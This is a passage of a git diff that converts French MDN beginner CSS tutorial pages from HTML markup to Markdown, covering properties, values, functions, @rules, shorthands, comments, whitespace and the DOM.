héritage](/fr/docs/Learn/CSS/Building_blocks/Cascade_and_inheritance) vous détaillera ces principes et expliquera notamment comment calculer la spécificité. Pour le moment, rappelez vous que de tels cas existent et que le CSS peut parfois ne pas s'appliquer comme prévu. Dans une telle situation, souvenez-vous qu'un même élément peut être la cible de plusieurs sélecteurs concurrents. -<h2 id="properties_and_values">Propriétés et valeurs</h2> +## Propriétés et valeurs -<p>Au niveau le plus fondamental, CSS se compose de deux blocs de construction :</p> +Au niveau le plus fondamental, CSS se compose de deux blocs de construction : -<ul> - <li><strong>Propriétés </strong>: des identifiants lisibles par l'homme indiquant les caractéristiques stylistiques (<code><a href="/fr/docs/Web/CSS/font-size">font-size</a></code>, <code><a href="/fr/docs/Web/CSS/width">width</a></code>, <code><a href="/fr/docs/Web/CSS/background-color">background-color</a></code>, par exemple) que vous souhaitez modifier ;</li> - <li><strong>Valeurs </strong>: une valeur est attribuée à chaque propriété spécifiée. Elle indique comment vous souhaitez modifier ces caractéristiques stylistiques (par exemple, en modifiant la couleur de la police, la largeur ou l'arrière-plan).</li> -</ul> +- **Propriétés** : des identifiants lisibles par l'homme indiquant les caractéristiques stylistiques ([`font-size`](/fr/docs/Web/CSS/font-size), [`width`](/fr/docs/Web/CSS/width), [`background-color`](/fr/docs/Web/CSS/background-color), par exemple) que vous souhaitez modifier ; +- **Valeurs** : une valeur est attribuée à chaque propriété spécifiée. Elle indique comment vous souhaitez modifier ces caractéristiques stylistiques (par exemple, en modifiant la couleur de la police, la largeur ou l'arrière-plan). -<p>L'image ci-dessous met en évidence une propriété et une valeur uniques. Le nom de la propriété est <code>color</code> et la valeur <code>blue</code>.</p> +L'image ci-dessous met en évidence une propriété et une valeur uniques. Le nom de la propriété est `color` et la valeur `blue`. -<p><img alt="Une déclaration surlignée au sein du code CSS" src="declaration.png"></p> + -<p>Une propriété associée à une valeur s'appelle une <em>déclaration CSS</em>. Les déclarations CSS sont placées dans des <em>blocs de déclaration CSS</em>. L'image suivante montre notre CSS avec le bloc de déclaration en surbrillance.</p> +Une propriété associée à une valeur s'appelle une _déclaration CSS_. Les déclarations CSS sont placées dans des _blocs de déclaration CSS_. L'image suivante montre notre CSS avec le bloc de déclaration en surbrillance. -<p><img alt="Un bloc de déclaration surligné" src="declaration-block.png"></p> + -<p>Enfin, les blocs de déclaration CSS sont associés à des <em>sélecteurs</em> pour produire des <em>ensembles de règles CSS</em> (ou <em>règles CSS</em>). L'image contient deux règles, une pour le sélecteur <code>h1</code> et une pour le sélecteur <code>p</code>. La règle pour <code>h1</code> est mise en surbrillance.</p> +Enfin, les blocs de déclaration CSS sont associés à des _sélecteurs_ pour produire des _ensembles de règles CSS_ (ou _règles CSS_). L'image contient deux règles, une pour le sélecteur `h1` et une pour le sélecteur `p`. La règle pour `h1` est mise en surbrillance. -<p><img alt="La règle ciblant h1 est surlignée" src="rules.png"></p> + -<p>Définir les propriétés CSS sur des valeurs spécifiques est la fonction principale du langage CSS. Le moteur CSS calcule les déclarations qui s'appliquent à chaque élément d'une page afin de le présenter et de le styler de manière appropriée. Ce qui est important à retenir est que les propriétés et les valeurs sont sensibles à la casse en CSS. La propriété et la valeur de chaque paire sont séparées par deux points (<code>:</code>).</p> +Définir les propriétés CSS sur des valeurs spécifiques est la fonction principale du langage CSS. Le moteur CSS calcule les déclarations qui s'appliquent à chaque élément d'une page afin de le présenter et de le styler de manière appropriée. Ce qui est important à retenir est que les propriétés et les valeurs sont sensibles à la casse en CSS. La propriété et la valeur de chaque paire sont séparées par deux points (`:`). -<p><strong>Recherchez différentes valeurs possibles pour les propriétés suivantes puis écrivez des règles CSS qui les appliquent à différents éléments HTML : </strong></p> +**Recherchez différentes valeurs possibles pour les propriétés suivantes puis écrivez des règles CSS qui les appliquent à différents éléments HTML :** -<ul> - <li><strong><a href="/fr/docs/Web/CSS/font-size"><code>font-size</code></a></strong></li> - <li><strong><a href="/fr/docs/Web/CSS/width"><code>width</code></a></strong></li> - <li><strong><a href="/fr/docs/Web/CSS/background-color"><code>background-color</code></a></strong></li> - <li><strong><a href="/fr/docs/Web/CSS/color"><code>color</code></a></strong></li> - <li><strong><a href="/fr/docs/Web/CSS/border"><code>border</code></a></strong></li> -</ul> +- **[`font-size`](/fr/docs/Web/CSS/font-size)** +- **[`width`](/fr/docs/Web/CSS/width)** +- **[`background-color`](/fr/docs/Web/CSS/background-color)** +- **[`color`](/fr/docs/Web/CSS/color)** +- **[`border`](/fr/docs/Web/CSS/border)** -<div class="warning"> -<p><strong>Attention :</strong> Si la propriété est inconnue ou si la valeur est invalide pour une propriété donnée, la déclaration est considérée comme <em>invalide</em> et complètement ignorée par le moteur CSS du navigateur.</p> -</div> +> **Attention :** Si la propriété est inconnue ou si la valeur est invalide pour une propriété donnée, la déclaration est considérée comme _invalide_ et complètement ignorée par le moteur CSS du navigateur. -<div class="warning"> -<p><strong>Attention :</strong> En CSS (et dans les autres standards web), l'orthographe américaine a été adoptée comme norme à respecter en cas d'incertitude linguistique. Par exemple, la couleur doit <em>toujours</em> être notée <code>color</code>. <code>couleur</code> ne fonctionnera pas.</p> -</div> +> **Attention :** En CSS (et dans les autres standards web), l'orthographe américaine a été adoptée comme norme à respecter en cas d'incertitude linguistique. Par exemple, la couleur doit _toujours_ être notée `color`. `couleur` ne fonctionnera pas. -<h3 id="functions">Fonctions</h3> +### Fonctions -<p>Bien que la plupart des valeurs soient des mots-clés relativement simples ou des valeurs numériques, on peut aussi appeler une fonction pour calculer une valeur dans une déclaration CSS. Un exemple serait la fonction <code>calc()</code>. Cette fonction vous permet de faire des calculs simples à partir de CSS, par exemple :</p> +Bien que la plupart des valeurs soient des mots-clés relativement simples ou des valeurs numériques, on peut aussi appeler une fonction pour calculer une valeur dans une déclaration CSS. Un exemple serait la fonction `calc()`. Cette fonction vous permet de faire des calculs simples à partir de CSS, par exemple : -<h4 id="Exemple_calc">Exemple calc</h4> +#### Exemple calc -<pre class="brush: html"><div class="outer"><div class="box">la boite interne vaut 90% - 30px.</div></div></pre> +```html +<div class="outer"><div class="box">la boite interne vaut 90% - 30px.</div></div> +``` -<pre class="brush: css">.outer { +```css +.outer { border: 5px solid black; } @@ -268,51 +298,59 @@ p { width: calc(90% - 30px); background-color: rebeccapurple; color: white; -}</pre> +} +``` -<p>La page devrait s'afficher comme ceci :</p> +La page devrait s'afficher comme ceci : -<p>{{EmbedLiveSample('Exemple_calc', '100%', 200)}}</p> +{{EmbedLiveSample('Exemple_calc', '100%', 200)}} -<p>Une fonction est composée du nom de la fonction suivi d'une paire de parenthèses entre lesquelles sont placées les valeurs autorisées pour cette fonction. Dans le cas de l'exemple <code>calc()</code> ci-dessus, on demande que la largeur de cette zone soit égale à 90% de la largeur du bloc conteneur, moins 30 pixels. Ce n'est pas quelque chose que l'on peut calculer à l'avance et simplement entrer la valeur dans le CSS, car on ne sait pas ce que seront 90%. Comme pour toutes les valeurs, chaque fonction a sa page de documentation sur MDN avec des exemples d'utilisation pour en voir le fonctionnement.</p> +Une fonction est composée du nom de la fonction suivi d'une paire de parenthèses entre lesquelles sont placées les valeurs autorisées pour cette fonction. Dans le cas de l'exemple `calc()` ci-dessus, on demande que la largeur de cette zone soit égale à 90% de la largeur du bloc conteneur, moins 30 pixels. Ce n'est pas quelque chose que l'on peut calculer à l'avance et simplement entrer la valeur dans le CSS, car on ne sait pas ce que seront 90%. Comme pour toutes les valeurs, chaque fonction a sa page de documentation sur MDN avec des exemples d'utilisation pour en voir le fonctionnement. -<p>Un autre exemple serait les différentes valeurs de la propriété <a href="/fr/docs/Web/CSS/<transform>"><code><transform></code></a>, telles que <code>rotate()</code>.</p> +Un autre exemple serait les différentes valeurs de la propriété [`<transform>`](/fr/docs/Web/CSS/<transform>), telles que `rotate()`. -<h4 id="Exemple_transform">Exemple transform</h4> +#### Exemple transform -<pre class="brush: html"><div class="box"></div></pre> +```html +<div class="box"></div> +``` -<pre class="brush: css">.box { +```css +.box { margin: 30px; width: 100px; height: 100px; background-color: rebeccapurple; transform: rotate(0.8turn) -}</pre> +} +``` + +La page devrait s'afficher comme ceci : -<p>La page devrait s'afficher comme ceci :</p> +{{EmbedLiveSample('Exemple_transform', '100%', 200)}} -<p>{{EmbedLiveSample('Exemple_transform', '100%', 200)}}</p> +**Essayez de rechercher différentes valeurs des propriétés suivantes et d'écrire des règles CSS qui les appliquent à différents éléments HTML :** -<p><strong>Essayez de rechercher différentes valeurs des propriétés suivantes et d'écrire des règles CSS qui les appliquent à différents éléments HTML : </strong></p> +- **[`transform`](/fr/docs/Web/CSS/transform)** +- **[`background-image`](/fr/docs/Web/CSS/background-image), en particulier les valeurs de dégradé** +- **[`color`](/fr/docs/Web/CSS/color), en particulier les valeurs rgb/rgba/hsl/hsla** -<ul> - <li><strong><a href="/fr/docs/Web/CSS/transform"><code>transform</code></a></strong></li> - <li><strong><a href="/fr/docs/Web/CSS/background-image"><code>background-image</code></a>, en particulier les valeurs de dégradé</strong></li> - <li><strong><a href="/fr/docs/Web/CSS/color"><code>color</code></a>, en particulier les valeurs rgb/rgba/hsl/hsla</strong></li> -</ul> +## @rules -<h2 id="rules">@rules</h2> e -<p>Nous n'avons pas rencontré jusqu'ici les <code><a href="/fr/docs/Web/CSS/At-rule">@rules</a></code> (prononcer "at-rules"). Ce sont des règles spéciales dictant un comportement CSS. Certaines <code>@rules</code> simples sont composées d'un nom et d'une valeur. Par exemple, pour importer une feuille de style additionnelle dans le CSS principal on utilisera <code>@import</code> :</p> -<pre class="brush: css">@import 'styles2.css';</pre> +Nous n'avons pas rencontré jusqu'ici les [`@rules`](/fr/docs/Web/CSS/At-rule) (prononcer "at-rules"). Ce sont des règles spéciales dictant un comportement CSS. Certaines `@rules` simples sont composées d'un nom et d'une valeur. Par exemple, pour importer une feuille de style additionnelle dans le CSS principal on utilisera `@import` : -<p>L'une des <code>@rules</code> les plus fréquemment rencontrée est <code>@media</code>, qui permet d'utiliser les <a href="/fr/docs/Web/CSS/Media_Queries"><i lang="en">media queries</i></a> pour appliquer CSS seulement quand certaines conditions sont vérifiées (par ex. quand la résolution de l'écran dépasse une certaine valeur, ou quand l'écran dépasse une certaine largeur).</p> +```css +@import 'styles2.css'; +``` -<p>Dans le CSS ci-dessous, une règle donne à l'élément <code><body></code> un fond rose. La section <code>@media</code> ne s'appliquera que dans les navigateurs dont la fenêtre est plus large que 30em. Dans ce cas la couleur de fond sera redéfinie à bleue.</p> +L'une des `@rules` les plus fréquemment rencontrée est `@media`, qui permet d'utiliser les [<i lang="en">media queries</i>](/fr/docs/Web/CSS/Media_Queries) pour appliquer CSS seulement quand certaines conditions sont vérifiées (par ex. quand la résolution de l'écran dépasse une certaine valeur, ou quand l'écran dépasse une certaine largeur). -<pre class="brush: css">body { +Dans le CSS ci-dessous, une règle donne à l'élément `<body>` un fond rose. La section `@media` ne s'appliquera que dans les navigateurs dont la fenêtre est plus large que 30em. Dans ce cas la couleur de fond sera redéfinie à bleue. + +```css +body { background-color: pink } @@ -320,58 +358,66 @@ e body { background-color: blue; } -}</pre> +} +``` -<p>Tout au long de nos tutoriels CSS, vous rencontrerez d'autres <code>@rules</code>.</p> +Tout au long de nos tutoriels CSS, vous rencontrerez d'autres `@rules`. -<p><strong>Ajoutez une <i lang="en">media query</i> à votre CSS pour obtenir des changements de styles basés sur la largeur de la fenêtre. Changez la largeur de la fenêtre de votre navigateur pour contrôler le résultat.</strong></p> +**Ajoutez une <i lang="en">media query</i> à votre CSS pour obtenir des changements de styles basés sur la largeur de la fenêtre. Changez la largeur de la fenêtre de votre navigateur pour contrôler le résultat.** -<h2 id="shorthands">Raccourcis</h2> +## Raccourcis -<p>Certaines propriétés comme <a href="/fr/docs/Web/CSS/font"><code>font</code></a>, <a href="/fr/docs/Web/CSS/background"><code>background</code></a>, <a href="/fr/docs/Web/CSS/padding"><code>padding</code></a>, <a href="/fr/docs/Web/CSS/border"><code>border</code></a>, ou <a href="/fr/docs/Web/CSS/margin"><code>margin</code></a> sont appelées <strong>propriétés raccourci</strong> — elles permettent d'attribuer plusieurs couples propriété : valeur en une seule ligne. On gagne du temps et le code est plus joli.</p> +Certaines propriétés comme [`font`](/fr/docs/Web/CSS/font), [`background`](/fr/docs/Web/CSS/background), [`padding`](/fr/docs/Web/CSS/padding), [`border`](/fr/docs/Web/CSS/border), ou [`margin`](/fr/docs/Web/CSS/margin) sont appelées **propriétés raccourci** — elles permettent d'attribuer plusieurs couples propriété : valeur en une seule ligne. On gagne du temps et le code est plus joli. -<p>Par exemple, la ligne suivante :</p> +Par exemple, la ligne suivante : -<pre class="brush: css">/* Dans les raccourcis à 4 valeurs comme padding ou margin, les valeurs sont données +```css +/* Dans les raccourcis à 4 valeurs comme padding ou margin, les valeurs sont données dans l'ordre top, right, bottom, left (sens des aiguilles d'une montre depuis top). Il y a d'autres raccourcis, a 2 valeurs par exemple qui padding ou margin pour top/bottom, puis left/right */ -padding: 10px 15px 15px 5px;</pre> +padding: 10px 15px 15px 5px; +``` -<p>produit le même effet que les quatre lignes suivantes réunies :</p> +produit le même effet que les quatre lignes suivantes réunies : -<pre class="brush: css">padding-top: 10px; +```css +padding-top: 10px; padding-right: 15px; padding-bottom: 15px; -padding-left: 5px;</pre> +padding-left: 5px; +``` -<p>Alors que :</p> +Alors que : -<pre class="brush: css">background: red url(bg-graphic.png) 10px 10px repeat-x fixed;</pre> +```css +background: red url(bg-graphic.png) 10px 10px repeat-x fixed; +``` -<p>produit la même chose que tout ce qui suit :</p> +produit la même chose que tout ce qui suit : -<pre class="brush: css">background-color: red; +```css +background-color: red; background-image: url(bg-graphic.png); background-position: 10px 10px; background-repeat: repeat-x; -background-scroll: fixed;</pre> +background-scroll: fixed; +``` -<p>Ce n'est pas le moment d'apprendre tous ces raccourcis — vous les croiserez à travers de nombreux exemples tout au long de ce cours, vous vous réfèrerez alors à notre <a href="/fr/docs/Web/CSS/Reference">référence CSS</a> pour en savoir plus.</p> +Ce n'est pas le moment d'apprendre tous ces raccourcis — vous les croiserez à travers de nombreux exemples tout au long de ce cours, vous vous réfèrerez alors à notre [référence CSS](/fr/docs/Web/CSS/Reference) pour en savoir plus. -<p><strong>Ajoutez les déclarations précédentes à votre CSS pour voir comment elles affectent la mise en forme de votre document HTML. Testez différentes valeurs.</strong></p> +**Ajoutez les déclarations précédentes à votre CSS pour voir comment elles affectent la mise en forme de votre document HTML. Testez différentes valeurs.** -<div class="notecard warning"> -<p><strong>Attention :</strong> Les raccourcis vous autorisent à ne pas déclarer certaines valeurs, mais dans ce cas, les valeurs non déclarées sont restaurées à leur valeur par défaut. Cela garantit l'usage d'un ensemble de valeurs qui restent raisonnables. Cela peut par contre vous surprendre, si vous pensiez que le raccourci ne changeait que les valeurs passées en argument.</p> -</div> +> **Attention :** Les raccourcis vous autorisent à ne pas déclarer certaines valeurs, mais dans ce cas, les valeurs non déclarées sont restaurées à leur valeur par défaut. Cela garantit l'usage d'un ensemble de valeurs qui restent raisonnables. Cela peut par contre vous surprendre, si vous pensiez que le raccourci ne changeait que les valeurs passées en argument. -<h2 id="comments">Commentaires</h2> +## Commentaires -<p>En CSS comme en HTML il est recommandé d'ajouter des commentaires, pour vous permettre de retrouver comment votre code fonctionne quand vous vous y replongez après quelques mois et pour permettre aussi à d'autres personnes de comprendre votre code quand elles sont amenées à travailler dessus.</p> +En CSS comme en HTML il est recommandé d'ajouter des commentaires, pour vous permettre de retrouver comment votre code fonctionne quand vous vous y replongez après quelques mois et pour permettre aussi à d'autres personnes de comprendre votre code quand elles sont amenées à travailler dessus. -<p>En CSS le début des commentaires est signalé par <code>/*</code> et la fin par <code>*/</code>. Dans le bloc de code ci-dessous, j'ai utilisé des commentaires pour marquer les différentes sections. Cela devient intéressant pour un code de taille importante — on peut alors utiliser les fonctionnalités de recherche de l'éditeur de code pour naviguer dans le fichier.</p> +En CSS le début des commentaires est signalé par `/*` et la fin par `*/`. Dans le bloc de code ci-dessous, j'ai utilisé des commentaires pour marquer les différentes sections. Cela devient intéressant pour un code de taille importante — on peut alors utiliser les fonctionnalités de recherche de l'éditeur de code pour naviguer dans le fichier. -<pre class="brush: css">/* mise en forme des éléments de base */ +```css +/* mise en forme des éléments de base */ /* -------------------------------------------------------------------------------------------- */ body { font: 1em/150% Helvetica, Arial, sans-serif; @@ -405,27 +451,31 @@ div p{ div p + p { padding-top: 0; -}</pre> +} +``` -<p>Les commentaires sont aussi parfois utiles pour rendre temporairement inactive une zone de code (les sections commentées ne sont pas interprétées par le navigateur), par exemple pour identifier la partie de code responsable d'une erreur. Dans l'exemple suivant, la règle pour le sélecteur <code>.special</code> a été désactivée par des commentaires :</p> +Les commentaires sont aussi parfois utiles pour rendre temporairement inactive une zone de code (les sections commentées ne sont pas interprétées par le navigateur), par exemple pour identifier la partie de code responsable d'une erreur. Dans l'exemple suivant, la règle pour le sélecteur `.special` a été désactivée par des commentaires : -<pre class="brush: css">/*.special { +```css +/*.special { color: red; }*/ p { color: blue; -}</pre> +} +``` -<p><strong>Ajoutez des commentaires à votre CSS, il est bon que cela devienne une habitude.</strong></p> +**Ajoutez des commentaires à votre CSS, il est bon que cela devienne une habitude.** -<h2 id="white_space">Espace</h2> +## Espace -<p>On parle ici d'espaces laissés blancs dans le texte, de tabulations, de retour à la ligne. Le navigateur tend à ignorer les espaces dans les codes CSS et HTML ; les espaces dans le code CSS sont la plupart du temps présents pour le rendre plus lisible.</p> +On parle ici d'espaces laissés blancs dans le texte, de tabulations, de retour à la ligne. Le navigateur tend à ignorer les espaces dans les codes CSS et HTML ; les espaces dans le code CSS sont la plupart du temps présents pour le rendre plus lisible. -<p>L'exemple ci-dessous propose d'écrire une déclaration par ligne — le code produit est facile à comprendre et à maintenir : c'est un bon code.</p> +L'exemple ci-dessous propose d'écrire une déclaration par ligne — le code produit est facile à comprendre et à maintenir : c'est un bon code. -<pre class="brush: css">body { +```css +body { font: 1em/150% Helvetica, Arial, sans-serif; padding: 1em; margin: 0 auto; @@ -456,11 +506,12 @@ div p { div p + p { padding-top: 0; } -</pre> +``` -<p>On peut écrire le même code CSS en retirant la plupart des espaces — le code ci-dessous est équivalent au précédent pour un navigateur, mais, vous l'admettrez, plus difficile à lire pour un humain !</p> +On peut écrire le même code CSS en retirant la plupart des espaces — le code ci-dessous est équivalent au précédent pour un navigateur, mais, vous l'admettrez, plus difficile à lire pour un humain ! -<pre class="brush: css">body {font: 1em/150% Helvetica, Arial, sans-serif; padding: 1em; margin: 0 auto; max-width: 33em;} +```css +body {font: 1em/150% Helvetica, Arial, sans-serif; padding: 1em; margin: 0 auto; max-width: 33em;} @media (min-width: 70em) { body {font-size: 130%;} } h1 {font-size: 1.5em;} @@ -468,38 +519,40 @@ h1 {font-size: 1.5em;} div p, #id:first-line {background-color: red; background-style: none} div p {margin: 0; padding: 1em;} div p + p {padding-top: 0;} -</pre> +``` -<p>La mise en forme de votre code est une question de goût personnel. Si vous travaillez en équipe, vous devrez sans doute vous plier aux conventions admises au sein de cette équipe.</p> +La mise en forme de votre code est une question de goût personnel. Si vous travaillez en équipe, vous devrez sans doute vous plier aux conventions admises au sein de cette équipe. -<p>Il n'est pourtant pas possible de supprimer tous les espaces dans un fichier CSS. La suppression ou l'ajout d'espaces dans le code CSS peut produire des erreurs. Par exemple, les déclarations suivantes sont valides en CSS :</p> +Il n'est pourtant pas possible de supprimer tous les espaces dans un fichier CSS. La suppression ou l'ajout d'espaces dans le code CSS peut produire des erreurs. Par exemple, les déclarations suivantes sont valides en CSS : -<pre class="brush: css">margin: 0 auto; -padding-left: 10px;</pre> +```css +margin: 0 auto; +padding-left: 10px; +``` -<p>Mais les suivantes sont invalides :</p> +Mais les suivantes sont invalides : -<pre class="brush: css">margin: 0auto; -padding- left: 10px;</pre> +```css +margin: 0auto; +padding- left: 10px; +``` -<p><code>0auto</code> n'est pas reconnu comme une valeur possible pour la propriété <code>margin</code> (<code>0</code> et <code>auto</code> sont chacune une valeur possible). Deux valeurs attribuées à une même propriété devront toujours être séparées par au moins un espace.</p> +`0auto` n'est pas reconnu comme une valeur possible pour la propriété `margin` (`0` et `auto` sont chacune une valeur possible). Deux valeurs attribuées à une même propriété devront toujours être séparées par au moins un espace. -<p>Le navigateur ne connaît pas la propriété <code>padding-</code> . Les noms de propriété ou de valeur doivent être écrits tels quels sans rajouter d'espace.</p> +Le navigateur ne connaît pas la propriété `padding-` . Les noms de propriété ou de valeur doivent être écrits tels quels sans rajouter d'espace. -<p><strong>À votre tour, ajoutez ou supprimez des espaces dans votre CSS pour voir dans quels cas rien ne change et dans quels cas tout est cassé.</strong></p> +**À votre tour, ajoutez ou supprimez des espaces dans votre CSS pour voir dans quels cas rien ne change et dans quels cas tout est cassé.** -<h2 id="À_suivre…">À suivre…</h2> +## À suivre… -<p>Il est utile de comprendre, au moins dans les grandes lignes, comment votre navigateur calcule le rendu d'une page web à partir des fichiers HTML et CSS. Dans la prochaine leçon — <a href="/fr/docs/Learn/CSS/First_steps/How_CSS_works">Comment CSS fonctionne</a> — nous examinerons donc ce point.</p> +Il est utile de comprendre, au moins dans les grandes lignes, comment votre navigateur calcule le rendu d'une page web à partir des fichiers HTML et CSS. Dans la prochaine leçon — [Comment CSS fonctionne](/fr/docs/Learn/CSS/First_steps/How_CSS_works) — nous examinerons donc ce point. -<p>{{PreviousMenuNext("Learn/CSS/First_steps/Getting_started", "Learn/CSS/First_steps/How_CSS_works", "Learn/CSS/First_steps")}}</p> +{{PreviousMenuNext("Learn/CSS/First_steps/Getting_started", "Learn/CSS/First_steps/How_CSS_works", "Learn/CSS/First_steps")}} -<h2 id="Dans_ce_cours">Dans ce cours</h2> +## Dans ce cours -<ol> - <li><a href="/fr/docs/Learn/CSS/First_steps/What_is_CSS">Qu'est ce que CSS?</a></li> - <li><a href="/fr/docs/Learn/CSS/First_steps/Getting_started">Démarrer avec CSS</a></li> - <li>Comment CSS est structuré</li> - <li><a href="/fr/docs/Learn/CSS/First_steps/How_CSS_works">CSS comment ça marche ?</a></li> - <li><a href="/fr/docs/Learn/CSS/First_steps/Using_your_new_knowledge">Mettre en œuvre vos connaissances</a></li> -</ol> +1. [Qu'est ce que CSS?](/fr/docs/Learn/CSS/First_steps/What_is_CSS) +2. [Démarrer avec CSS](/fr/docs/Learn/CSS/First_steps/Getting_started) +3. Comment CSS est structuré +4. [CSS comment ça marche ?](/fr/docs/Learn/CSS/First_steps/How_CSS_works) +5. [Mettre en œuvre vos connaissances](/fr/docs/Learn/CSS/First_steps/Using_your_new_knowledge) diff --git a/files/fr/learn/css/first_steps/how_css_works/index.md b/files/fr/learn/css/first_steps/how_css_works/index.md index 0a578ae2a0..60f48f7f03 100644 --- a/files/fr/learn/css/first_steps/how_css_works/index.md +++ b/files/fr/learn/css/first_steps/how_css_works/index.md @@ -3,147 +3,169 @@ title: CSS, comment ça marche ? slug: Learn/CSS/First_steps/How_CSS_works translation_of: Learn/CSS/First_steps/How_CSS_works --- -<p>{{LearnSidebar}}<br> - {{PreviousMenuNext("Learn/CSS/First_steps/How_CSS_is_structured", "Learn/CSS/First_steps/Using_your_new_knowledge", "Learn/CSS/First_steps")}}</p> +{{LearnSidebar}} +{{PreviousMenuNext("Learn/CSS/First_steps/How_CSS_is_structured", "Learn/CSS/First_steps/Using_your_new_knowledge", "Learn/CSS/First_steps")}} -<p>Jusqu'ici, nous avons appris les bases du CCS, ses objectifs et comment écrire des feuilles de style élémentaires. Dans cette leçon, nous allons voir comment un navigateur prend du HTML et du CSS pour les transformer en une page web.</p> +Jusqu'ici, nous avons appris les bases du CCS, ses objectifs et comment écrire des feuilles de style élémentaires. Dans cette leçon, nous allons voir comment un navigateur prend du HTML et du CSS pour les transformer en une page web. <table class="standard-table"> - <tbody> - <tr> - <th scope="row">Prérequis :</th> - <td>Notions de base en l'informatique, <a href="/fr/docs/Learn/Getting_started_with_the_web/Installing_basic_software">logiciels de base installés</a>, <a href="/fr/docs/Learn/Getting_started_with_the_web/Dealing_with_files">savoir manipuler des fichiers</a>, connaissance de base de HTML (cf. <a href="/fr/docs/Learn/HTML/Introduction_to_HTML">Introduction à HTML</a>.)</td> - </tr> - <tr> - <th scope="row">Objectif :</th> - <td>Comprendre, à un niveau élémentaire, comment un navigateur traite les codes CSS et HTML et ce qui se passe quand le navigateur rencontre du CSS qu'il ne sait pas interpréter.</td> - </tr> - </tbody> + <tbody> + <tr> + <th scope="row">Prérequis :</th> + <td> + Notions de base en l'informatique, + <a + href="/fr/docs/Learn/Getting_started_with_the_web/Installing_basic_software" + >logiciels de base installés</a + >, + <a href="/fr/docs/Learn/Getting_started_with_the_web/Dealing_with_files" + >savoir manipuler des fichiers</a + >, connaissance de base de HTML (cf. <a + href="/fr/docs/Learn/HTML/Introduction_to_HTML" + >Introduction à HTML</a + >.) + </td> + </tr> + <tr> + <th scope="row">Objectif :</th> + <td> + Comprendre, à un niveau élémentaire, comment un navigateur traite les + codes CSS et HTML et ce qui se passe quand le navigateur rencontre du + CSS qu'il ne sait pas interpréter. + </td> + </tr> + </tbody> </table> -<h2 id="CSS_comment_ça_marche_en_fait">CSS comment ça marche, en fait ?</h2> +## CSS comment ça marche, en fait ? -<p>Pour afficher un document, un navigateur doit combiner le contenu du document et les informations de mise en forme. Le traitement se fait en plusieurs phases que nous détaillons ci-dessous. Gardez à l'esprit que cette description est simplifiée, selon le modèle du navigateur, les étapes pourraient changer. Mais dans les grandes lignes, voilà ce qui se passe :</p> +Pour afficher un document, un navigateur doit combiner le contenu du document et les informations de mise en forme. Le traitement se fait en plusieurs phases que nous détaillons ci-dessous. Gardez à l'esprit que cette description est simplifiée, selon le modèle du navigateur, les étapes pourraient changer. Mais dans les grandes lignes, voilà ce qui se passe : -<ol> - <li>Le navigateur charge le HTML (par ex. il le reçoit à travers le réseau).</li> - <li>Il traduit le {{Glossary("HTML")}} en un {{Glossary("DOM")}} (<em>Document Object Model</em>) : une représentation du document HTML stockable en mémoire sur votre ordinateur. Nous expliquons le DOM plus en détails dans la prochaine section.</li> - <li>Le navigateur récupère ensuite la plupart des ressources attachées au document HTML, telles les images, les vidéos ajoutées à la page... et la feuille CSS externe ! JavaScript est traité un peu plus tard et nous n'en parlerons pas ici pour simplifier la présentation.</li> - <li>Le navigateur <em>parse</em> le CSS, classe les différentes règles par types de sélecteur (par ex. élément, class, ID, etc...) dans des "buckets". En fonction des sélecteurs trouvés, le navigateur calcule quelle règle s'applique à quel nœud du DOM. Chaque nœud du DOM ciblé par CSS est étiqueté par sa règle de style. L'arbre ainsi obtenu s'appelle l'<em>arbre de rendu</em> (render tree).</li> - <li>Pour chaque nœud de l'arbre de rendu, le navigateur calcule l'effet visuel de la règle CSS associée.</li> - <li>Le visuel ainsi produit est affiché à l'écran (cette étape s'appelle <em>painting</em>).</li> -</ol> +1. Le navigateur charge le HTML (par ex. il le reçoit à travers le réseau). +2. Il traduit le {{Glossary("HTML")}} en un {{Glossary("DOM")}} (_Document Object Model_) : une représentation du document HTML stockable en mémoire sur votre ordinateur. Nous expliquons le DOM plus en détails dans la prochaine section. +3. Le navigateur récupère ensuite la plupart des ressources attachées au document HTML, telles les images, les vidéos ajoutées à la page... et la feuille CSS externe ! JavaScript est traité un peu plus tard et nous n'en parlerons pas ici pour simplifier la présentation. +4. Le navigateur *parse* le CSS, classe les différentes règles par types de sélecteur (par ex. élément, class, ID, etc...) dans des "buckets". En fonction des sélecteurs trouvés, le navigateur calcule quelle règle s'applique à quel nœud du DOM. Chaque nœud du DOM ciblé par CSS est étiqueté par sa règle de style. L'arbre ainsi obtenu s'appelle l'_arbre de rendu_ (render tree). +5. Pour chaque nœud de l'arbre de rendu, le navigateur calcule l'effet visuel de la règle CSS associée. +6. Le visuel ainsi produit est affiché à l'écran (cette étape s'appelle _painting_). -<p>Le diagramme suivant propose une vue synthétique de ce traitement.</p> +Le diagramme suivant propose une vue synthétique de ce traitement. -<p><img alt="" src="rendering.svg"></p> + -<h2 id="À_propos_du_DOM">À propos du DOM</h2> +## À propos du DOM -<p>Tout DOM a une structure d'arbre. Chaque élément, attribut, bout de texte du langage de balises est traduit en un {{Glossary("Node/DOM","nœud du DOM")}} dans la structure en arbre. Les nœuds sont définis par leurs relations à d'autres nœuds du DOM. Certains éléments sont les <em>parents</em> de <em>nœuds enfants</em> (child nodes) et les nœuds enfants peuvent avoir des <em>frères et sœurs </em>(siblings).</p> +Tout DOM a une structure d'arbre. Chaque élément, attribut, bout de texte du langage de balises est traduit en un {{Glossary("Node/DOM","nœud du DOM")}} dans la structure en arbre. Les nœuds sont définis par leurs relations à d'autres nœuds du DOM. Certains éléments sont les _parents_ de _nœuds enfants_ (child nodes) et les nœuds enfants peuvent avoir des *frères et sœurs* (siblings). -<p>Comprendre le DOM vous aidera à concevoir, débugguer et maintenir votre CSS car le DOM est le point de jonction entre CSS et le contenu HTML du document.</p> +Comprendre le DOM vous aidera à concevoir, débugguer et maintenir votre CSS car le DOM est le point de jonction entre CSS et le contenu HTML du document. -<p>Avec les DevTools de votre navigateur vous pourrez naviguer à travers le DOM en sélectionnant les items pour les inspecter et voir quelles règles s'appliquent sur eux.</p> +Avec les DevTools de votre navigateur vous pourrez naviguer à travers le DOM en sélectionnant les items pour les inspecter et voir quelles règles s'appliquent sur eux. -<h2 id="Une_représentation_concrète_du_DOM">Une représentation concrète du DOM</h2> +## Une représentation concrète du DOM -<p>Plutôt qu'une explication longue et ennuyeuse, regardons comment un fragment de code HTML est converti en un DOM.</p> +Plutôt qu'une explication longue et ennuyeuse, regardons comment un fragment de code HTML est converti en un DOM. -<p>Partons du code ci-dessous :</p> +Partons du code ci-dessous : -<pre class="brush: html"><p> +```html +<p> Let's use: - <span>Cascading</span> - <span>Style</span> - 